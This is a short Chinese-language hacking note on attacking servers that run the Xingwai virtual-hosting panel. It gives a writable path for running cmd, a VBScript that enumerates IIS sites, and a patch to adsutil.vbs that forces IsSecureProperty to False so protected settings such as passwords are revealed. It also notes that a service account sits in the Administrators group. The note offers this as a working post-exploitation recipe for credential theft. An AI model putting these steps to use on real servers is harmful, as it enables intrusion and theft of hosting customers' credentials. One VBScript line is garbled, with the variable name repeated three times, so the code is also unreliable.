星外的利用

cmd执行的地址：

C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index\

VBS读IIS配置信息

Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
ListAllWebListAllWebListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf
End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit

执行：

/c "c:\cscript.exe" c:\web\1.vbs

作用是读取ID，再读密码。

修改C:\Inetpub\AdminScripts\adsutil.vbs（2003）

  修改后,

If (Attribute = True) Then
        IsSecureProperty = False
    Else
        IsSecureProperty = False
    End If

用法：adsutil.vbs enum w3svc/ID/root

注：星外的freehostrunat用户是administrotrs 组。